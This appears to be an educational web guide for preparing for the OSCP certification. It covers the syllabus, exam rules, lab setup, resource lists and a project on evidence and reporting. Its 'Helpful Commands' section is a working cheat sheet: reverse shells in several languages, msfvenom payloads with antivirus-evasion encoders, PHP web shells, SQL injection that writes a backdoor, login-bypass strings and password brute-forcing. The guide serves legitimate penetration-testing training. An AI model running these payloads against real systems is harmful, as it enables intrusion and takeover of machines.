OSCP
Plan OSCP preparation around fundamentals, PEN-200 subject areas, practical labs, evidence and exam rules from OffSec’s official documentation.
OSCP preparation is most useful after you can navigate Linux, explain network traffic and investigate an application without treating tool output as a verdict. The certification is a practical assessment, not a substitute for those foundations.
Before You Start
- Linux and Windows fundamentals, TCP/IP, HTTP and basic Bash or Python.
- Experience completing beginner labs and writing reproducible reports.
- A realistic practice plan and an environment you can restore after experiments.
YOUR LEARNING ORDER
Learn, Practise and Build
- Assess Your Foundations
Read the syllabus, prerequisites and official exam rules before planning study time.
- Work Through the Subjects
Use the full subject-by-subject resources to fill gaps and practise in your lab.
- Build a Command Reference
Keep the complete reference below, but select and explain each command before using it.
- Practise the Whole Assessment
Choose a lab, maintain evidence and produce a report another learner could follow.
Your project: Build a foundation checklist, repeatable lab method, private command reference, evidence directory and one complete mock assessment report. Use the portfolio to identify gaps before booking.
Go to the practice projectSECTION 01
What Is OSCP ?
The Offensive Security Certified Professional is one of the most technical and most challenging certifications for information security professionals.
In order to become certified you must complete the Penetration Testing with Kali Linux (PwK) course and pass a “24 hour” hands-on exam and you have 24 hours to write a report.
Official Link : PEN-200 | PENETRATION TESTING COURSE & CERTIFICATION
SECTION 02
OSCP Syllabus
- Getting Comfortable with Kali Linux
- Command Line Fun
- Practical Tools
- Bash Scripting
- Passive Information Gathering
- Active Information Gathering
- Vulnerability Scanning
- Web Application Attacks
- Buffer Overflows
- Client-Side Attacks
- Locating Public Exploits
- Fixing Exploits
- File Transfers
- Antivirus Evasion
- Privilege Escalation
- Password Attacks
- Port Redirection and Tunneling
- Active Directory Attacks
- The Metasploit Framework
- PowerShell Empire
- Penetration Test Breakdown
SECTION 03
Prerequisites
Before you decide to register for the course you need to have some experience in the following areas :
- Linux Fundamentals : File System, Command Line etc.
- Networking Fundamentals : TCP/IP, Protocols etc.
- Programming Languages : Bash and Python
- Note Taking : Cherry Tree, KeepNote
SECTION 04
Exam Details
- You will have a total of 23 hours and 45 mins for the exam.
- You will be proctored during your exam. Webcam and screen sharing software are required.
- The practical exam contains three standalone machines and an Active Directory set of three machines. Starting credentials are supplied for the AD scenario.
- Use the official exam guide and scoring policy that apply to your booking. The control panel lists target objectives and raw points; do not infer a pass from an older fixed-threshold description.
- After the practical assessment ends, you have an additional 24 hours to submit the required documentation.
- Course exercises and lab reports no longer provide exam bonus points.
Restrictions :
You cannot use any of the following on the exam :
- Spoofing (IP, ARP, DNS, NBNS, etc)
- Commercial tools or services (Metasploit Pro, Burp Pro, etc.)
- Automatic exploitation tools (e.g, browser_autopwn, SQLmap, SQLninja, jsql etc.)
- Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Core Impact, SAINT, etc.)
Exam Tips :
- Enumeration is the most important thing you can do.
- Prepare your cheat sheets, notes, tools, and exploits.
- Note Everything.
- Keep Patience, Believe in yourself and Everything will be done easily !!!
SECTION 05
Lab Setup
- VMware Workstation or VirtualBox
- Custom Image for OSCP - PwK Kali VM
- Kali Linux
- Windows 7 (32bit/64bit)
- Windows 10 (32bit/64bit)
SECTION 06
Getting Started with Kali Linux
- Kali Linux Revealed
- Linux Jounery
- Explain Shell
- TryHackMe - Linux Fundamentals
- TryHackMe - Linux Challenges
SECTION 07
Command Line Fun
SECTION 08
Practical Tools
- Netcat
- PowerShell
- Wireshark
- Tcpdump
Kali Linux Tools : https://tools.kali.org/tools-listing
SECTION 09
Bash Scripting
SECTION 10
Passive Information Gathering
In Passive Information Gathering process we are collecting information about the targets using publicly available information.
- Taking Notes
- Website Recon : Gather basic information by simply browsing the site.
- Whois Enumeration : Use
whoisCommand on Linux / Online Tool - Open-Source Code : Search Source-code Online
- Social Media Tools : Gather information on target's social media accounts
- Google Hacking : Cheatsheet / Database
- Netcraft
- The Recon-ng Framework
- Shodan
- Spyse - The original address is unavailable. This reference is retained; the linked alternative covers the same learning area. Censys Internet Intelligence
- Censys
- Security Headers Scanner
- SSL Server Test
- Pastebin
- Email Harvesting
- Stack Overflow
- OSINT Framework
SECTION 11
Active Information Gathering
In Active Information Gathering we can gather more information about these targets by actively interacting with them. for example; Port Scanning, OS Fingerprinting, DNS, SMB, NFS, SMTP, and SNMP enumeration.
SECTION 12
Vulnerability Scanning
SECTION 13
Web Application Attacks
- Web Application Enumeration : View page source-code, check well known files (robots.Txt, security.txt, .git, readme.md, sitemap.xml etc.), find some files and directories, brute force login pages, check subdomains, find open ports and what web technologies target website is using etc.
- Burp Suite
- OWASP Top Ten
- The Web Application Hacker's Handbook
SECTION 14
Buffer Overflows
- Buffer Overflows Made Easy by TCM
- 32-Bit Windows Buffer Overflows Made Easy
- Buffer Overflows for Dummies
- Buffer Overflow Exploitation Megaprimer for Linux - The original training page is unavailable. Web Security Academy
SECTION 15
Client-side Attacks
SECTION 16
Locating Public Exploits
SECTION 17
Fixing Exploits
Generating our own payload
SECTION 18
File Transfers
SECTION 19
Antivirus Evasion
- Undetectable Malware - The original relative download is unavailable.
- Tools & Techniques Used to Evade Antivirus Software
- MSFvenom Payloads
- Obfuscated Empire
- WinPayloads
- AVET
- HERCULES Payload Generator
- Shellter and Shellter Pro
- Veil-Framework
- Unicorn
- FatRat
SECTION 20
Privilege Escalation
Payload :
Linux :
- Basic Linux Privilege Escalation
- Scripted Local Linux Enumeration & Privilege Escalation Checks
- Linux Smart Enumeration
- Linux Exploit Suggester
- GTFOBins
- Linux elevation of privileges
- Linux Privilege Escalation for OSCP & Beyond! by Tib3rius
Windows :
- Windows Privilege Escalation Fundamentals
- Power Tools
- Just Another Windows (Enum) Script
- Windows Privilege Escalation Methods for Pentesters
- Windows elevation of privileges
- Windows Privilege Escalation - The original address is unavailable. This reference is retained; the linked alternative covers the same learning area. InternalAllTheThings Reference
- Windows Privilege Escalation Guide
- Open Source Windows Privilege Escalation Guide
- Windows Privilege Escalation Techniques and Scripts
- Windows Privilege Escalation for OSCP & Beyond! by Tib3rius
SECTION 21
Password Attacks
Offline Password Cracking :
Online Password Cracking :
Wordlist Generators :
Wordlist :
- Kali Linux includes a lot of dictionary files in the /usr/share/wordlists
- Seclists Password Wordlist
Online Password Hash Cracker :
SECTION 22
Port Redirection and Tunneling
SECTION 23
Active Directory Attacks
SECTION 24
The Metasploit Framework
SECTION 25
Powershell Empire
SECTION 26
Penetration Test Breakdown
Start by writing the authorised targets, permitted methods and stop conditions. Build an inventory from observed services and record the command, target and output for every useful observation. Next form a small testable hypothesis: an exposed service or version alone is not a confirmed vulnerability. Validate the hypothesis inside the assigned lab with the least intrusive proof that demonstrates the failed control. Keep the caller, object and expected result explicit so another tester can repeat the comparison. Record the actual impact without claiming access you did not demonstrate. Write the report while working: include prerequisites, reproduction steps, evidence, root cause and a concrete remediation. Retest the fix with both an allowed case and a denied case, then document what remains outside scope. Finish by stopping temporary services and removing only the synthetic files you created. Practise this full sequence with the local Notes assessment in the Pentesting guide before applying it to a larger lab.
SECTION 27
Helpful Commands
SANS Cheat Sheets :
NMAP :
# Quick TCP Scan :
nmap -sC -sV -vv -oA quick 10.10.10.10
# Quick UDP Scan :
sudo nmap -sU -sV -vv -oA quick_udp 10.10.10.10
# Full TCP Scan :
nmap -sC -sV -p- -vv -oA full 10.10.10.10
# Port Knock :
for x in 7000 8000 9000; do nmap -Pn --host-timeout 201ms --max-retries 0 -p $x 10.10.10.10; doneWEB SCANNING :
# Gobuster Quick Directory Busting
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -a Linux
# Gobuster Search With File Extension
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -a Linux -x txt,php
# Nikto Web Server Scan
nikto -h 10.10.10.10
# Wordpress Scan
wpscan --url http://10.10.10.10/wp/PORT CHECKING :
# Netcat Banner Grab
nc -v 10.10.10.10 port
# Telnet Banner Grab
telnet 10.10.10.10 portNETCAT :
Download Netcat for Windows : https://nmap.org/download.html
# Sending File via Netcat
nc 10.10.10.10 1234 < file.zip
# Receive File via Netcat
nc -l 1234 > file.zipFILE TRANSFER :
# HTTP Server Linux
python3 -m http.server 8000 --bind 10.10.14.XX
# HTTP Server Windows
py -m http.server 8000 --bind 10.10.14.XX
# HTTP in Reverse Shell - Linux
wget http://10.10.14.XX:8000/file
# HTTP in Reverse Shell - Windows
powershell -c "Invoke-WebRequest -Uri 'http://10.10.14.XX:8000/file.exe' -OutFile 'file.exe'"
# FTP in Kali
python3 -m pyftpdlib -i 10.10.14.XX -p 2121
# FTP in Reverse Shell
echo open 10.10.14.XX 2121 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file.txt >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txt
# TFTP in Kali
atftpd --daemon --port 69 /tftp
# TFTP in Reverse Shell
tftp -i 10.10.10.10 GET nc.exeSSH :
# Connection (if you have password)
ssh user@10.10.10.10
# Connection (if you have ssh key)
ssh -i id_rsa user@10.10.10.10
# Create SSH Keys
ssh-keygen
# SSH Public key (. pub file) Permission
chmod 644 id_rsa.pub
# SSH Private key (id_rsa) & Authorized_Keys File Permission
chmod 600 id_rsa
# SSH Password Craking using Key
python3 /usr/share/john/ssh2john.py id_rsa > USERHASH
john --wordlist=/usr/share/wordlists/rockyou.txt USERHASH
# Crack SSH Password using Hydra
hydra -l username -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10SSH TUNNELING / PIVOTING :
# sshuttle
sshuttle -vvr user@10.10.10.10 10.0.0.0/24
# Local port forwarding
ssh gateway -L local-port-to-listen:10.10.10.10:remote-port
# Remote port forwarding
ssh gateway -R remote-port-to-bind:127.0.0.1:local-port
# Dynamic port forwarding
ssh -D local-proxy-port -p remote-port 10.10.10.10
# Plink remote port forwarding
plink -l learner -R 3389:127.0.0.1:3389 10.10.10.10SMB :
# SMB Vulnerability Scan
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.10
# SMB Users & Shares Scan
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10
# Enum4linux
enum4linux -a 10.10.10.10
# Null Connect
rpcclient -U "" -N 10.10.10.10
# Connect to SMB share
smbclient //MOUNT/shareSNMP :
# SNMP Enumeration
snmp-check 10.10.10.10REVERSE SHELL :
# Bash Shell
bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
# Netcat Linux
ncat --exec /bin/sh 10.10.10.10 4443
# Netcat Windows
ncat --exec cmd.exe 10.10.10.10 4443
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("10.10.10.10",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) ;if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Remote Desktop
# Remote Desktop for Windows with share and 85% screen
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10
# PHP
php -r '$sock=fsockopen("10.10.10.10",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# xterm
# Legacy X11 lab example: an xterm session. # The following command should be run on the server. It will try to connect back to you (10.10.10.10) on TCP port 6001.
xterm -display 10.10.10.10:1
# To catch the incoming xterm, start an X-Server (:1 - which listens on TCP port 6001). # One way to do this is with Xnest (to be run on your system) :
Xnest :1
# You’ll need to authorise the target to connect to you (command also run on your host) :
xhost +10.10.10.10PHP :
# PHP command injection from GET Request
<?php echo system($_GET["cmd"]);?>
# Alternative
<?php echo shell_exec($_GET["cmd"]);?>POWERSHELL :
# Non-interactive execute powershell file
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1SQL INJECTION :
# sqlmap crawl
sqlmap -u http://10.10.10.10 --crawl=1
# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump
# Sqlmap Shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell
# Upload php command injection file
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']); ?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
# Load File
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
# Bypasses
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -BRUTE FORCE :
# John the Ripper shadow file
unshadow passwd shadow > unshadow.db
john unshadow.db
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
# Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt
# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
# RDP user with password list
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
# SSH user with password list
hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22
# FTP user with password list
medusa -h 10.10.10.10 -u user -P passwords.txt -M ftpMSFVENOM PAYLOADS :
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windowsbinaries/plink.exe -o shell_reverse_msf_encoded_embedded.exeSHELL SPAWNING :
# TTY using Python (in reverse shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Alternative:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Put the shell in to background using Ctrl+Z
# Examine the current terminal and STTY info and match it
echo $TERM
stty -a
python3 -c 'import os; os.system("/bin/bash")'
/bin/sh -i
# Perl
exec "/bin/sh";
perl -e 'exec "/bin/sh";'
# Ruby
exec "/bin/sh"
# Lua
os.execute('/bin/sh')
# (from within IRB)
exec "/bin/sh"
# (from within vi)
:!bash
# (from within vi)
:set shell=/bin/bash
:shell
# Historical Nmap interactive mode only (removed from current Nmap)
# !shSECTION 28
Practice Labs
VulnHub :
HackTheBox :
SECTION 29
More Resources
PRACTICE PROJECT
Your Assessment Readiness Portfolio
Build a foundation checklist, repeatable lab method, private command reference, evidence directory and one complete mock assessment report. Use the portfolio to identify gaps before booking.
PROJECT STEP 01
Check Readiness before Choosing a Schedule
Start with tasks you can demonstrate: navigate a Linux file system, explain permissions, read a script, inspect an HTTP request, identify a listening service and write an accurate finding. Add Windows users, services, permissions and basic PowerShell. Weaknesses here become expensive distractions during advanced labs.
Use a readiness matrix with “can explain”, “can perform with notes” and “can perform independently”. A calendar alone does not measure understanding. Allocate study time to the weakest foundations and revisit them with a small practical task rather than another passive video playlist.
Try It Yourself
Create the matrix and attach one piece of evidence to each completed skill, such as a script, explanation or lab report.
Check Your Understanding
Can you diagnose a failed command by checking its assumptions instead of changing random options?
PROJECT STEP 02
Organise the Technical Subjects
PEN-200 covers practical penetration-testing skills. Organise your study around information gathering, vulnerability assessment, web attacks, public-exploit analysis, file transfers, privilege escalation, password-related concepts, tunnelling, Windows environments and Active Directory. Use the current official syllabus or body of knowledge for exact coverage.
The original resource included older topic lists and tool-specific material. Treat those as background, not a guarantee of the current exam blueprint. Understand dependencies: a tunnel makes more sense after routes and listeners; Active Directory makes more sense after Windows accounts, services, authentication and permissions.
- Foundation: Linux, Windows, networking, HTTP, scripting and note-taking.
- Enumeration: service behaviour, application routes, identity and access boundaries.
- Validation: prerequisites, controlled proof, failure analysis and evidence.
- Post-access reasoning: account context, permissions, configuration and reachable services.
- Communication: root cause, impact, remediation and reproducible reporting.
Try It Yourself
Choose one lab exercise per subject area and write the concept it should teach. Avoid scheduling several advanced topics before their prerequisites.
Check Your Understanding
Can you explain why a technique works and when its prerequisites would not hold?
PROJECT STEP 03
Build a Repeatable Lab Environment
Use a maintained official Kali image or another environment supported by your training materials. Match the image architecture to your host, install updates and take a clean snapshot. Keep vulnerable targets isolated and use properly licensed Windows evaluation or training images when required. Avoid unofficial pre-activated operating-system downloads.
Separate notes, evidence and scripts for each machine. Keep credentials private and use a consistent naming convention for screenshots. Practise restoring the environment and recovering your own notes. An untested backup or an enormous unsorted folder becomes a problem when you need a specific result quickly.
A Simple Evidence Structure
assessment/
scope.md
targets/
lab-one/
observations.md
commands.txt
evidence/
finding.md
report.md
retest.mdExpected Result
Each target has its own observations and evidence. The report explains the findings without requiring the reviewer to search every raw output file.
Try It Yourself
Create this structure and document how to restore the VM and recover the notes. Use synthetic labels in any public portfolio.
Check Your Understanding
Could you find the evidence supporting one claim within a minute, without relying on terminal scrollback?
PROJECT STEP 04
Practise the Whole Assessment Loop
Use the same loop across machines: establish scope, identify services, enumerate details, form a hypothesis, validate minimally, inspect the resulting privilege context and document the chain. When a path fails, record the evidence that rejected it. This makes later review much more useful than a list of successful commands.
Read public proof-of-concept code before adapting it. Check software version, architecture, authentication, configuration and side effects. Keep potentially disruptive experiments inside the appropriate lab. Automated output can support your reasoning, but you still need to prove what happened and explain why.
Try It Yourself
Complete a training machine, then rebuild the reasoning from your notes without the original walkthrough. Add a remediation paragraph for every demonstrated weakness.
Check Your Understanding
Can another learner reproduce your lab result without guessing an address, account or prerequisite?
PROJECT STEP 05
Create a Small Command and Script Reference
A useful reference is organised by question: What account am I? What is listening? Which service is this? What permission applies? Include the meaning of each option and the conditions where the command belongs. A giant unreviewed cheat sheet is difficult to trust under pressure.
Use current tools and syntax. The original page included Python 2 servers and old command forms; Python 3’s http.server is the appropriate built-in learning server, and binding to loopback keeps a local exercise private. For evidence scripts, start with read-only collection and explicit paths.
Create a Local Evidence Manifest
from pathlib import Path
import hashlib
root = Path("evidence")
for file in sorted(root.glob("*.txt")):
digest = hashlib.sha256(file.read_bytes()).hexdigest()
print(f"{digest} {file.name}")Expected Result
Run from a lab folder containing evidence/*.txt. The script prints a SHA-256 digest for each text file without modifying it. A digest detects later changes when compared with a trusted saved value; it does not prove the content is true.
Try It Yourself
Add five commands you understand and one read-only helper script to the reference. Test each on known lab input and document an expected result.
Check Your Understanding
Could a wrong current directory or unquoted path change what your script reads? How have you made that assumption visible?
PROJECT STEP 06
Read the Actual Exam Rules
OffSec’s exam guide describes a proctored practical session of 23 hours and 45 minutes, followed by a separate documentation period. The documented target structure includes standalone machines and an Active Directory set; evidence and reporting requirements are part of the assessment. Use the official guide for exact submission instructions.
Do not rely on the old “five machines plus bonus points” description. Scoring policy is also changing between exam cohorts, so this page deliberately does not prescribe a universal pass-point formula. Read the exam guide and equated-scoring FAQ for your appointment. A scaled score is not a percentage of raw points.
- Confirm the identification, proctoring, environment and submission requirements before the appointment.
- Check the current rules for Metasploit and other restricted tools; allowed training tools are not automatically allowed in the exam.
- AI chatbots and LLM assistants are prohibited for OSCP exams under OffSec’s published AI usage policy. Do not share exam material with an assistant.
- Capture required proof in the required context; a successful command without acceptable evidence may be insufficient.
Try It Yourself
Make a private exam-readiness checklist directly from the official guide. Confirm unclear rules with OffSec rather than inferring permission from an old write-up.
Check Your Understanding
Which document is authoritative if this guide, a video and your exam instructions disagree?
PROJECT STEP 07
Rehearse Evidence, Breaks and Reporting
A mock assessment should exercise the entire workflow, including note-taking, breaks and a complete report. Choose authorised practice targets and set your own bounded practice session. Avoid equating exhaustion with learning: fatigue can cause missed evidence, poor decisions and preventable mistakes.
Write the report from your notes after the lab, then identify missing details. Screenshots should support a clear narrative, not replace it. Record how each finding was reproduced and how it could be fixed. Keep the assessment environment separate from your daily accounts and documents.
Try It Yourself
Produce one mock report with scope, methodology, findings, evidence, remediation and limitations. Have a peer review the clarity using only sanitised training material.
Check Your Understanding
Can the report stand alone, or does it require your memory of what happened?
PROJECT STEP 08
Use the Portfolio to Choose the Next Step
Review your readiness matrix after each complete lab. If you can perform a task only while looking at a walkthrough, return to the underlying concept and repeat a smaller exercise. If your technical result is strong but the report is unclear, practise communication rather than adding another tool.
Certification can support a learning goal, but it is not a guarantee of employment or proof of expertise in every security field. Keep building projects and explanations that show how you reason. Use current official pricing and access terms if you decide to purchase training; this free guide does not require that purchase.
Try It Yourself
List three remaining gaps, the exercise that addresses each and the evidence that would show improvement. Keep the plan small enough to complete.
Check Your Understanding
Your next step should follow a demonstrated gap, not a promise that one schedule works for everyone.
Check Your Finished Project
- Prerequisite skills have practical evidence.
- Notes and reports are reproducible and self-contained.
- Exam rules and scoring are checked at the official source.
- AI-assisted study is kept separate from prohibited exam assistance.
Access and Offline Reading
This preparation guide is free. Official OffSec training and certification are paid products with their own eligibility, access and exam rules. No result or certification outcome is guaranteed.
The guide text, examples and illustrations are included in this website’s local copy. External documentation, platform accounts, downloads and hosted labs need an internet connection.

